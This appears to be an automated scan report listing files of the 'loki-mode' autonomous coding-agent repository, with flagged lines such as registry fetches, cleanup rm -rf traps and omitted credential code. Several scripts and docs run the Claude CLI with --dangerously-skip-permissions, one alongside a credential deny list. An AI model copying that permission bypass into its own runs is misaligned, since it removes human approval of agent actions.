**Efficiency & Orchestration:** - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL - Network accessline 679
- [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - Multi-turn tool orchestration with RL - Network accessline 680
- [ToolScale Dataset](https://huggingface.co/datasets/nvidia/ToolScale) - Training data synthesis - Network accessline 682
**Evaluation Frameworks:** - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model - Network accessline 683
- [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1) - Four-pillar evaluation model - Network accessline 684
- [Measurement Imbalance in Agentic AI (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064) - Multi-dimensional evaluation - Network accessline 685
- [Adaptive Monitoring for Agentic AI (arXiv 2509.00115)](https://arxiv.org/abs/2509.00115) - AMDM algorithm - Network accessline 687
**Best Practices:** - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering - Network accessline 688
- [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) - Simplicity, transparency, tool engineering - Network accessline 689
- [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) - Orchestration patterns, distributed tracing - Network accessline 690
- [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) - Single-responsibility, evaluations - Network accessline 691
- [Stanford/Harvard: Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/this-ai-paper-from-stanford-and-harvard-explains-why-most-agentic-ai-systems-feel-impressive-in-demos-and-then-completely-fall-apart-in-real-use/) - Tool r - Network accessline 693
**Safety & Reasoning:** - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety - Network accessline 694
- [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) - CoT monitorability for safety - Network accessline 695
- [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) - Human-in-loop patterns - Network accessline 696
- [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) - Industry standards (MCP, AGENTS.md, goose)
schemas/features.schema.json
schemas/loki-yaml.schema.json
schemas/manifest.schema.json
schemas/migration-plan.schema.json
schemas/outcome-contract.schema.json
schemas/seams.schema.json
schemas/status-result.schema.json
schemas/why-result.schema.json
scripts/cp-closure.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/dep-inventory.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 36
USER_AGENT = "loki-dep-inventory/1.0 (+https://github.com/asklokesh/loki-mode)" - Network accessline 90
def _fetch_json(url: str) -> dict: req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"}) - Network accessline 91
req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"}) - Network accessline 92
with urllib.request.urlopen(req, timeout=TIMEOUT) as resp: - Network accessline 99
data = _fetch_json(f"https://registry.npmjs.org/{pkg}") - Network accessline 106
def fetch_pypi_latest(pkg: str) -> str: data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json") - Network accessline 107
data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json") - Possible obfuscationline 208
text = base64.b64decode(content_b64).decode(errors="replace") - Network accessline 216
def fetch_endoflife(product: str) -> list: return _fetch_json(f"https://endoflife.date/api/{product}.json") - Network accessline 217
return _fetch_json(f"https://endoflife.date/api/{product}.json") - Network accessline 226
data = _fetch_json(f"https://registry.terraform.io/v1/providers/{source}") - Possible obfuscationline 237
return base64.b64decode(content_b64).decode() - Network accessline 1438
def fetch_npm_times(pkg: str) -> dict: data = _fetch_json(f"https://registry.npmjs.org/{pkg}") - Network accessline 1439
data = _fetch_json(f"https://registry.npmjs.org/{pkg}") - Network accessline 1443
def fetch_pypi_times(pkg: str) -> dict: data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json") - Network accessline 1444
data = _fetch_json(f"https://pypi.org/pypi/{pkg}/json")
scripts/dogfood-stats.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/generate-stale-zero.sh
scripts/install-gitleaks.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 20
_base_url="${LOKI_GITLEAKS_BASE_URL:-https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}}" - Network accessline 81
# Hardcoded per-platform sha256 for the official gitleaks v8.30.0 release # assets, copied on 2026-09-28 from # https://github.com/gitleaks/gitleaks/releases/download/v8.30.0/gitleaks_8.30.0_checksums.txt - Network accessline 82
# assets, copied on 2026-09-28 from # https://github.com/gitleaks/gitleaks/releases/download/v8.30.0/gitleaks_8.30.0_checksums.txt # (the linux_x64 value matches the one independently pinned in - Network accessline 83
# https://github.com/gitleaks/gitleaks/releases/download/v8.30.0/gitleaks_8.30.0_checksums.txt - Dangerous shell operationline 103
trap 'rm -rf "$_tmp"' EXIT - Network accessline 105
echo "[install-gitleaks] downloading $_asset" curl -sSfL -o "$_tmp/$_asset" "$_base_url/$_asset" - Network accessline 106
curl -sSfL -o "$_tmp/$_asset" "$_base_url/$_asset"
scripts/install-hooks.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/local-ci.sh
scripts/loki-wrapper.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 302
log_error "$PROVIDER_DISPLAY_NAME CLI ($PROVIDER_CLI) not found. Please install it first." if [[ "$PROVIDER_CLI" == "claude" ]]; then log_info "Visit: https://claude.ai/code" - Network accessline 303
if [[ "$PROVIDER_CLI" == "claude" ]]; then log_info "Visit: https://claude.ai/code" fi - Network accessline 304
log_info "Visit: https://claude.ai/code"
scripts/measure-run.sh
scripts/npm-dist-tags.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/release-notes.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/release.sh
scripts/select-tests.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/skill-toc.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/smoke-install.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 38
trap 'case "$T" in */loki-smoke.*) [ -d "$T" ] && [ ! -L "$T" ] && rm -rf -- "$T" ;; esac' EXIT - Dangerous shell operationline 124
rm -f -- "$pkg/skills/fixtures/demo-receipt/pubkey.jwk" - Network accessline 179
SHIM="$T/shim" mkdir -p "$SHIM" for c in node npm python3 jq git curl bash sh env; do - Network accessline 180
mkdir -p "$SHIM" for c in node npm python3 jq git curl bash sh env; do src="$(command -v "$c" 2>/dev/null || true)" - Network accessline 181
for c in node npm python3 jq git curl bash sh env; do - Dangerous shell operationline 199
rm -rf -- "$d"
scripts/sync-to-vibe-kanban.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/update-changelog.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 168
rm -rf "$tmp_dir" - Network accessline 185
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Network accessline 186
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
scripts/usage-governor.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 11
Yes, partially. The statusLine JSON schema (fetched from https://code.claude.com/docs/en/statusline on 2026-09-28) documents: - Network accessline 12
https://code.claude.com/docs/en/statusline on 2026-09-28) documents: - Access to secretsline 444
[Credential-related source omitted] - Access to secretsline 566
[Credential-related source omitted] - Access to secretsline 1296
[Credential-related source omitted] - Access to secretsline 1361
[Credential-related source omitted]
scripts/verify-pr-sandbox.sh
scripts/vibe-sync-watcher.sh
- Executable scriptline 1
#!/usr/bin/env bash
scripts/vpr-pytest-boot/loki_vpr_boot.py
scripts/vpr-pytest-boot/loki_vpr_plugin.py
- Executable scriptline 1
Executable file
scripts/vpr-pytest-boot/loki_vpr_site.py
- Executable scriptline 1
Executable file
sdk/python/README.md
- Network accessline 3
Python SDK for [Loki Mode](https://github.com/asklokesh/loki-mode), the autonomous multi-agent development platform. - Network accessline 16
client = Client(base_url="http://localhost:57374") - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted]
sdk/python/loki_mode_sdk/__init__.py
- Executable scriptline 1
Executable file
sdk/python/loki_mode_sdk/auth.py
- Executable scriptline 1
Executable file
sdk/python/loki_mode_sdk/client.py
- Executable scriptline 1
Executable file - Network accessline 58
DEFAULT_BASE_URL = "http://localhost:57374" - Network accessline 76
client = AutonomiClient( base_url="http://localhost:57374", - Network accessline 77
base_url="http://localhost:57374", - Network accessline 114
req = urllib.request.Request(url, data=body_bytes, method=method) - Network accessline 122
try: with urllib.request.urlopen(req, timeout=self.timeout) as resp: - Network accessline 123
with urllib.request.urlopen(req, timeout=self.timeout) as resp: - Access to secretsline 278
[Credential-related source omitted] - Access to secretsline 285
[Credential-related source omitted]
sdk/python/loki_mode_sdk/events.py
- Executable scriptline 1
Executable file
sdk/python/loki_mode_sdk/sessions.py
- Executable scriptline 1
Executable file
sdk/python/loki_mode_sdk/tasks.py
- Executable scriptline 1
Executable file
sdk/python/loki_mode_sdk/types.py
- Executable scriptline 1
Executable file
sdk/python/pyproject.toml
- Network accessline 42
[project.urls] Homepage = "https://github.com/asklokesh/loki-mode" - Network accessline 43
Homepage = "https://github.com/asklokesh/loki-mode" - Network accessline 44
Repository = "https://github.com/asklokesh/loki-mode" - Network accessline 45
Documentation = "https://github.com/asklokesh/loki-mode/wiki" - Network accessline 46
"Bug Tracker" = "https://github.com/asklokesh/loki-mode/issues"
sdk/typescript/README.md
sdk/typescript/dist/audit.d.ts
- Executable scriptline 1
Executable file
sdk/typescript/dist/audit.js
- Executable scriptline 1
Executable file
sdk/typescript/dist/client.d.ts
- Executable scriptline 1
Executable file - Network accessline 3
* * Core client class for interacting with the Autonomi Control Plane API. * Uses Node.js built-in fetch (Node 18+). No external dependencies. - Network accessline 4
* Core client class for interacting with the Autonomi Control Plane API. * Uses Node.js built-in fetch (Node 18+). No external dependencies. */ - Network accessline 5
* Uses Node.js built-in fetch (Node 18+). No external dependencies.
sdk/typescript/dist/client.js
- Executable scriptline 1
Executable file - Network accessline 4
* * Core client class for interacting with the Autonomi Control Plane API. * Uses Node.js built-in fetch (Node 18+). No external dependencies. - Network accessline 5
* Core client class for interacting with the Autonomi Control Plane API. * Uses Node.js built-in fetch (Node 18+). No external dependencies. */ - Network accessline 6
* Uses Node.js built-in fetch (Node 18+). No external dependencies. - Network accessline 37
let response; try { response = await fetch(url, { - Network accessline 38
try { response = await fetch(url, { method, - Network accessline 39
response = await fetch(url, {
sdk/typescript/dist/errors.d.ts
- Executable scriptline 1
Executable file
sdk/typescript/dist/errors.js
- Executable scriptline 1
Executable file
sdk/typescript/dist/index.d.ts
sdk/typescript/dist/index.js
sdk/typescript/dist/runs.d.ts
- Executable scriptline 1
Executable file
sdk/typescript/dist/runs.js
- Executable scriptline 1
Executable file
sdk/typescript/dist/tenants.d.ts
- Executable scriptline 1
Executable file
sdk/typescript/dist/tenants.js
- Executable scriptline 1
Executable file
sdk/typescript/dist/types.d.ts
- Executable scriptline 1
Executable file
sdk/typescript/dist/types.js
- Executable scriptline 1
Executable file
sdk/typescript/package-lock.json
- Network accessline 18
"node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 19
"version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - Network accessline 20
"resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
sdk/typescript/package.json
- Executable scriptline 1
Executable file - Network accessline 26
"repository": { "type": "git", "url": "https://github.com/asklokesh/loki-mode.git", - Network accessline 27
"type": "git", "url": "https://github.com/asklokesh/loki-mode.git", "directory": "sdk/typescript" - Network accessline 28
"url": "https://github.com/asklokesh/loki-mode.git", - Network accessline 29
"directory": "sdk/typescript" }, "homepage": "https://github.com/asklokesh/loki-mode", - Network accessline 30
}, "homepage": "https://github.com/asklokesh/loki-mode", "bugs": { - Network accessline 31
"homepage": "https://github.com/asklokesh/loki-mode", - Network accessline 32
"bugs": { "url": "https://github.com/asklokesh/loki-mode/issues" }, - Network accessline 33
"url": "https://github.com/asklokesh/loki-mode/issues"
sdk/typescript/scripts/normalize-package-permissions.mjs
- Executable scriptline 1
Executable file
sdk/typescript/src/audit.ts
- Executable scriptline 1
Executable file
sdk/typescript/src/client.ts
- Executable scriptline 1
Executable file - Network accessline 3
* * Core client class for interacting with the Autonomi Control Plane API. * Uses Node.js built-in fetch (Node 18+). No external dependencies. - Network accessline 4
* Core client class for interacting with the Autonomi Control Plane API. * Uses Node.js built-in fetch (Node 18+). No external dependencies. */ - Network accessline 5
* Uses Node.js built-in fetch (Node 18+). No external dependencies. - Network accessline 68
let response: Response; try { response = await fetch(url, { - Network accessline 69
try { response = await fetch(url, { method, - Network accessline 70
response = await fetch(url, {
sdk/typescript/src/errors.ts
- Executable scriptline 1
Executable file
sdk/typescript/src/index.ts
sdk/typescript/src/runs.ts
- Executable scriptline 1
Executable file
sdk/typescript/src/tenants.ts
- Executable scriptline 1
Executable file
sdk/typescript/src/types.ts
- Executable scriptline 1
Executable file
server.json
- Network accessline 1
{ "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - Network accessline 2
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - Network accessline 4
"description": "Autonomous spec-to-product coding-agent CLI with an MCP server exposing 48 tools over stdio.", "repository": { "url": "https://github.com/asklokesh/loki-mode", - Network accessline 5
"repository": { "url": "https://github.com/asklokesh/loki-mode", "source": "github" - Network accessline 6
"url": "https://github.com/asklokesh/loki-mode", - Network accessline 11
{ "registryType": "npm", "registryBaseUrl": "https://registry.npmjs.org", - Network accessline 12
"registryType": "npm", "registryBaseUrl": "https://registry.npmjs.org", "identifier": "loki-mode", - Network accessline 13
"registryBaseUrl": "https://registry.npmjs.org",
skills/documentation.md
- Network accessline 23
| Source | Key Contribution | Citation | |--------|-----------------|----------| | Repowise | Codebase intelligence via MCP tools (overview, risk, context, search) | [repowise.dev](https://repowise.dev/) | - Network accessline 24
|--------|-----------------|----------| | Repowise | Codebase intelligence via MCP tools (overview, risk, context, search) | [repowise.dev](https://repowise.dev/) | | Diátaxis | Documentation system: tutorials, how-to, reference, explanatio - Network accessline 25
| Repowise | Codebase intelligence via MCP tools (overview, risk, context, search) | [repowise.dev](https://repowise.dev/) | - Network accessline 26
| Diátaxis | Documentation system: tutorials, how-to, reference, explanation | [diataxis.fr](https://diataxis.fr/) | - Network accessline 27
| Google Developer Docs | Style guide for technical documentation | [developers.google.com/style](https://developers.google.com/style) | - Network accessline 119
Document all public APIs in this project. For each endpoint/function/class: signature, parameters with types, return values, examples, error cases. Group by module/route. Include curl examples for HTTP APIs. - Network accessline 121
module/route. Include curl examples for HTTP APIs.
skills/github-integration.md
- Network accessline 91
"source": "github", "github_issue": 123, "github_url": "https://github.com/owner/repo/issues/123", - Network accessline 92
"github_issue": 123, "github_url": "https://github.com/owner/repo/issues/123", "labels": ["bug", "priority:high"], - Network accessline 93
"github_url": "https://github.com/owner/repo/issues/123",
skills/healing.md
- Network accessline 35
| Source | Key Contribution | Citation | |--------|-----------------|----------| | Amazon AGI Lab (2026) | Friction-as-semantics, agents as universal API over legacy UIs | [amazon.science blog](https://www.amazon.science/blog/how-agentic-ai - Network accessline 36
|--------|-----------------|----------| | Amazon AGI Lab (2026) | Friction-as-semantics, agents as universal API over legacy UIs | [amazon.science blog](https://www.amazon.science/blog/how-agentic-ai-helps-heal-the-systems-we-cant-replace) - Network accessline 37
| Amazon AGI Lab (2026) | Friction-as-semantics, agents as universal API over legacy UIs | [amazon.science blog](https://www.amazon.science/blog/how-agentic-ai-helps-heal-the-systems-we-cant-replace) | - Network accessline 38
| Michael Feathers (2004) | Characterization testing, dependency-breaking techniques, seams | *Working Effectively with Legacy Code*, Prentice Hall | | Martin Fowler (2004) | Strangler Fig pattern for incremental replacement | [martinfowler - Network accessline 39
| Martin Fowler (2004) | Strangler Fig pattern for incremental replacement | [martinfowler.com/bliki/StranglerFigApplication](https://martinfowler.com/bliki/StranglerFigApplication.html) | - Network accessline 44
| VAPU (2025) | Multi-agent pipeline for autonomous legacy updates | arXiv:2510.18509 | | Code Reborn (2025) | AI-driven COBOL-to-Java, 93% accuracy | arXiv:2504.11335 | | AWS Transform (2025-2026) | Decomposition agents, semantic seeding, - Network accessline 45
| Code Reborn (2025) | AI-driven COBOL-to-Java, 93% accuracy | arXiv:2504.11335 | | AWS Transform (2025-2026) | Decomposition agents, semantic seeding, domain grouping | [AWS blog](https://aws.amazon.com/blogs/migration-and-modernization/ac - Network accessline 46
| AWS Transform (2025-2026) | Decomposition agents, semantic seeding, domain grouping | [AWS blog](https://aws.amazon.com/blogs/migration-and-modernization/accelerate-your-mainframe-modernization-journey-using-ai-agents-with-aws-transform/) - Network accessline 47
| GitHub Copilot (2025) | 3-agent pattern: extract logic, generate tests, generate modern code | [github.blog](https://github.blog/ai-and-ml/github-copilot/how-github-copilot-and-ai-agents-are-saving-legacy-systems/) |
skills/magic-modules.md
- Network accessline 29
| Source | Key Contribution | Citation | |--------|-----------------|----------| | Roman Nurik (Google Labs) | Spec-first component generation, spec as source of truth, freshness hash | [MagicModules](https://github.com/romannurik/MagicModu - Network accessline 30
|--------|-----------------|----------| | Roman Nurik (Google Labs) | Spec-first component generation, spec as source of truth, freshness hash | [MagicModules](https://github.com/romannurik/MagicModules) | | Reto Meier (Google Labs) | Multi - Network accessline 31
| Roman Nurik (Google Labs) | Spec-first component generation, spec as source of truth, freshness hash | [MagicModules](https://github.com/romannurik/MagicModules) | - Network accessline 32
| Reto Meier (Google Labs) | Multi-persona debate, conflicting expert critique, consensus-with-escalation | [MoMoA](https://github.com/retomeier/momoa) |
skills/memory.md
skills/mirofish-integration.md
skills/model-selection.md
- Dangerous shell operationline 79
rm -f .loki/state/model-override - Access to secretsline 120
[Credential-related source omitted] - Network accessline 338
*Inspired by [oh-my-claudecode](https://github.com/Yeachan-Heo/oh-my-claudecode) tiered architecture.* - Access to secretsline 536
[Credential-related source omitted]
skills/parallel-workflows.md
- Instruction override signalline 276
# Feature development session cd ../project-feature-auth claude --dangerously-skip-permissions -p "Loki Mode: Implement user authentication. Read .loki/CONTINUITY.md for context." - Instruction override signalline 278
claude --dangerously-skip-permissions -p "Loki Mode: Implement user authentication. Read .loki/CONTINUITY.md for context." - Instruction override signalline 280
# Testing session (continuous) cd ../project-testing claude --dangerously-skip-permissions -p "Loki Mode: Run all tests. Watch for changes. Report failures to .loki/state/test-results.json" - Instruction override signalline 282
claude --dangerously-skip-permissions -p "Loki Mode: Run all tests. Watch for changes. Report failures to .loki/state/test-results.json" - Instruction override signalline 284
# Documentation session cd ../project-docs claude --dangerously-skip-permissions -p "Loki Mode: Update documentation for recent changes. Check git log for what changed." - Instruction override signalline 286
claude --dangerously-skip-permissions -p "Loki Mode: Update documentation for recent changes. Check git log for what changed." - Dangerous shell operationline 358
rm "$signal" - Instruction override signalline 504
( cd "$worktree_path" claude --dangerously-skip-permissions \ - Instruction override signalline 505
cd "$worktree_path" claude --dangerously-skip-permissions \ -p "Loki Mode: Implement ${feature}. Check .loki/CONTINUITY.md for context." \ - Instruction override signalline 506
claude --dangerously-skip-permissions \
skills/production.md
- Network accessline 863
**Hacker News Discussions:** - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) - Network accessline 864
- [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) - Network accessline 865
- [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953) - Network accessline 866
- [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344) - Network accessline 867
- [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472) - Network accessline 868
- [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697) - Network accessline 869
- [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997) - Network accessline 870
- [Context Engineering vs Prompt Engineering](https://news.ycombinator.com/item?id=44427757) - Network accessline 872
**Show HN Projects:** - [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) - Network accessline 873
- [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) - Network accessline 874
- [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264) - Network accessline 875
- [Wispbit - AI Code Review Agent](https://news.ycombinator.com/item?id=44722603) - Network accessline 876
- [Agtrace - Monitoring for AI Coding Agents](https://news.ycombinator.com/item?id=46425670)
skills/providers.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Instruction override signalline 42
> **CLI flags verified** against actual CLI help output: Claude `--dangerously-skip-permissions`; opencode `run --auto` (opencode 1.18.9). - Network accessline 98
export ANTHROPIC_BASE_URL=https://openrouter.ai/api/v1 # or http://localhost:11434/v1 - Access to secretsline 99
[Credential-related source omitted] - Instruction override signalline 182
claude --dangerously-skip-permissions -p "$prompt" - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Instruction override signalline 402
|----------|------|------------------|-------| | Claude | `--dangerously-skip-permissions` | v2.1.34 | Autonomous mode | | opencode | `run --auto` | 1.18.9 | Autonomous mode; `-m provider/model` | - Instruction override signalline 403
| Claude | `--dangerously-skip-permissions` | v2.1.34 | Autonomous mode |
skills/quality-gates.md
- Network accessline 361
[caveman](https://github.com/JuliusBrussee/caveman) is a Claude Code skill that
skills/troubleshooting.md
src/audit/compliance-scheduler.js
- Executable scriptline 1
Executable file
src/audit/compliance.js
- Executable scriptline 1
Executable file
src/audit/crosslink.js
- Executable scriptline 1
Executable file
src/audit/index.js
- Executable scriptline 1
Executable file
src/audit/log.js
- Executable scriptline 1
Executable file
src/audit/residency.js
- Executable scriptline 1
Executable file
src/audit/subscriber.js
- Executable scriptline 1
#!/usr/bin/env node
src/integrations/adapter.js
- Executable scriptline 1
Executable file
src/integrations/github/action-handler.js
- Executable scriptline 1
Executable file
src/integrations/github/reporter.js
- Executable scriptline 1
Executable file
src/integrations/jira/api-client.js
- Executable scriptline 1
Executable file - Network accessline 23
/** * @param {object} opts * @param {string} opts.baseUrl - Jira Cloud base URL (e.g., https://company.atlassian.net) - Network accessline 24
* @param {object} opts * @param {string} opts.baseUrl - Jira Cloud base URL (e.g., https://company.atlassian.net) * @param {string} opts.email - Jira user email - Network accessline 25
* @param {string} opts.baseUrl - Jira Cloud base URL (e.g., https://company.atlassian.net)
src/integrations/jira/epic-converter.js
- Executable scriptline 1
Executable file
src/integrations/jira/index.js
- Executable scriptline 1
Executable file
src/integrations/jira/sync-manager.js
- Executable scriptline 1
Executable file
src/integrations/jira/webhook-handler.js
- Executable scriptline 1
Executable file
src/integrations/linear/client.js
src/integrations/linear/config.js
src/integrations/linear/index.js
- Executable scriptline 1
Executable file
src/integrations/linear/sync.js
- Executable scriptline 1
Executable file
src/integrations/slack/adapter.js
src/integrations/slack/blocks.js
- Executable scriptline 1
Executable file
src/integrations/slack/commands.js
- Executable scriptline 1
Executable file
src/integrations/slack/index.js
- Executable scriptline 1
Executable file
src/integrations/slack/webhook-handler.js
- Executable scriptline 1
Executable file
src/integrations/sync-subscriber.js
src/integrations/teams/adapter.js
src/integrations/teams/cards.js
src/integrations/teams/index.js
- Executable scriptline 1
Executable file
src/integrations/teams/webhook.js
- Executable scriptline 1
Executable file
src/observability/genai-spans.js
- Executable scriptline 1
Executable file
src/observability/index.js
- Executable scriptline 1
Executable file
src/observability/metrics.js
- Executable scriptline 1
Executable file
src/observability/otel-bridge.js
- Executable scriptline 1
Executable file - Network accessline 14
* * Usage: * LOKI_OTEL_ENDPOINT=http://localhost:4318 node src/observability/otel-bridge.js - Network accessline 15
* Usage: * LOKI_OTEL_ENDPOINT=http://localhost:4318 node src/observability/otel-bridge.js */ - Network accessline 16
* LOKI_OTEL_ENDPOINT=http://localhost:4318 node src/observability/otel-bridge.js
src/observability/otel.js
- Executable scriptline 1
Executable file
src/observability/siem-export.js
- Executable scriptline 1
Executable file - Network accessline 365
datadog(opts) { const o = opts || {}; const endpoint = o.endpoint || 'http://localhost:4318'; - Network accessline 366
const o = opts || {}; const endpoint = o.endpoint || 'http://localhost:4318'; const vars = { - Network accessline 367
const endpoint = o.endpoint || 'http://localhost:4318'; - Network accessline 385
/** * Honeycomb OTLP/HTTP. Honeycomb ingests OTLP directly at * https://api.honeycomb.io (or api.eu1.honeycomb.io). Auth via the - Network accessline 386
* Honeycomb OTLP/HTTP. Honeycomb ingests OTLP directly at * https://api.honeycomb.io (or api.eu1.honeycomb.io). Auth via the * x-honeycomb-team header; dataset via x-honeycomb-dataset for metrics. - Network accessline 387
* https://api.honeycomb.io (or api.eu1.honeycomb.io). Auth via the - Network accessline 390
honeycomb(opts) { const o = opts || {}; const endpoint = o.endpoint || 'https://api.honeycomb.io'; - Network accessline 391
const o = opts || {}; const endpoint = o.endpoint || 'https://api.honeycomb.io'; const headers = []; - Network accessline 392
const endpoint = o.endpoint || 'https://api.honeycomb.io';
src/observability/spans.js
- Executable scriptline 1
Executable file
src/plugins/agent-plugin.js
- Executable scriptline 1
Executable file
src/plugins/gate-plugin.js
- Executable scriptline 1
Executable file
src/plugins/index.js
- Executable scriptline 1
Executable file
src/plugins/integration-plugin.js
- Executable scriptline 1
Executable file
src/plugins/loader.js
- Executable scriptline 1
Executable file
src/plugins/mcp-plugin.js
- Executable scriptline 1
Executable file
src/plugins/schemas/agent.json
src/plugins/schemas/integration.json
src/plugins/schemas/mcp_tool.json
src/plugins/schemas/quality_gate.json
src/plugins/validator.js
- Executable scriptline 1
Executable file - Network accessline 286
if (typeof config.webhook_url === 'string') { const url = config.webhook_url.toLowerCase(); if (!url.startsWith('https://') && !url.startsWith('http://localhost') && !url.startsWith('http://127.0.0.1')) { - Network accessline 287
const url = config.webhook_url.toLowerCase(); if (!url.startsWith('https://') && !url.startsWith('http://localhost') && !url.startsWith('http://127.0.0.1')) { errors.push('Security: webhook_url must use HTTPS or - Network accessline 288
if (!url.startsWith('https://') && !url.startsWith('http://localhost') && !url.startsWith('http://127.0.0.1')) {
src/policies/approval.js
- Executable scriptline 1
Executable file - Network accessline 184
this._state.requests.push(request); - Network accessline 339
*/ getPendingRequests() { return this._state.requests.filter(function (r) { - Network accessline 340
getPendingRequests() { return this._state.requests.filter(function (r) { return r.status === 'pending'; - Network accessline 341
return this._state.requests.filter(function (r) {
src/policies/check.js
- Executable scriptline 1
#!/usr/bin/env node
src/policies/claude_permissions.js
- Executable scriptline 1
#!/usr/bin/env node - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Instruction override signalline 102
env = env || process.env; var warnings = []; if (webPolicyOff(env)) return { args: ['--dangerously-skip-permissions'], warnings: warnings }; - Instruction override signalline 103
var warnings = []; if (webPolicyOff(env)) return { args: ['--dangerously-skip-permissions'], warnings: warnings }; var domains; - Instruction override signalline 104
if (webPolicyOff(env)) return { args: ['--dangerously-skip-permissions'], warnings: warnings }; - Instruction override signalline 112
warnings.push('LOKI_WEB_ALLOW_DOMAINS is enforced only with LOKI_PERMISSION_POLICY=compiled; the legacy route keeps WebFetch and WebSearch denied'); } return { args: ['--dangerously-skip-permissions', '--disallowedTools', ['WebFetch - Instruction override signalline 113
} return { args: ['--dangerously-skip-permissions', '--disallowedTools', ['WebFetch', 'WebSearch'].concat(CRED_DENY).join(',')], warnings: warnings }; } - Instruction override signalline 114
return { args: ['--dangerously-skip-permissions', '--disallowedTools', ['WebFetch', 'WebSearch'].concat(CRED_DENY).join(',')], warnings: warnings };
src/policies/cost.js
- Executable scriptline 1
Executable file - Access to secretsline 155
[Credential-related source omitted] - Network accessline 189
// Strip protocol/host and trailing .git, then take the owner segment. // Handles: git@host:owner/repo.git, https://host/owner/repo(.git), ssh://... - Network accessline 190
// Handles: git@host:owner/repo.git, https://host/owner/repo(.git), ssh://...
src/policies/engine.js
- Executable scriptline 1
Executable file
src/policies/index.js
- Executable scriptline 1
Executable file
src/policies/types.js
- Executable scriptline 1
Executable file
src/protocols/a2a/agent-card.js
- Executable scriptline 1
Executable file - Network accessline 31
this._name = opts.name || 'Loki Mode'; this._description = opts.description || 'Multi-agent autonomous system by Autonomi'; this._url = opts.url || 'http://localhost:8080'; - Network accessline 32
this._description = opts.description || 'Multi-agent autonomous system by Autonomi'; this._url = opts.url || 'http://localhost:8080'; this._version = opts.version || '1.0.0'; - Network accessline 33
this._url = opts.url || 'http://localhost:8080';
src/protocols/a2a/artifacts.js
- Executable scriptline 1
Executable file
src/protocols/a2a/client.js
- Executable scriptline 1
Executable file
src/protocols/a2a/index.js
- Executable scriptline 1
Executable file
src/protocols/a2a/streaming.js
- Executable scriptline 1
Executable file
src/protocols/a2a/task-manager.js
- Executable scriptline 1
Executable file
src/protocols/auth/oauth.js
src/protocols/mcp-circuit-breaker.js
- Executable scriptline 1
Executable file
src/protocols/mcp-client-manager.js
- Executable scriptline 1
Executable file
src/protocols/mcp-client.js
- Executable scriptline 1
Executable file
src/protocols/mcp-server.js
src/protocols/resources/continuity.js
- Executable scriptline 1
Executable file
src/protocols/resources/memory.js
- Executable scriptline 1
Executable file
src/protocols/tools/agent-metrics.js
- Executable scriptline 1
Executable file
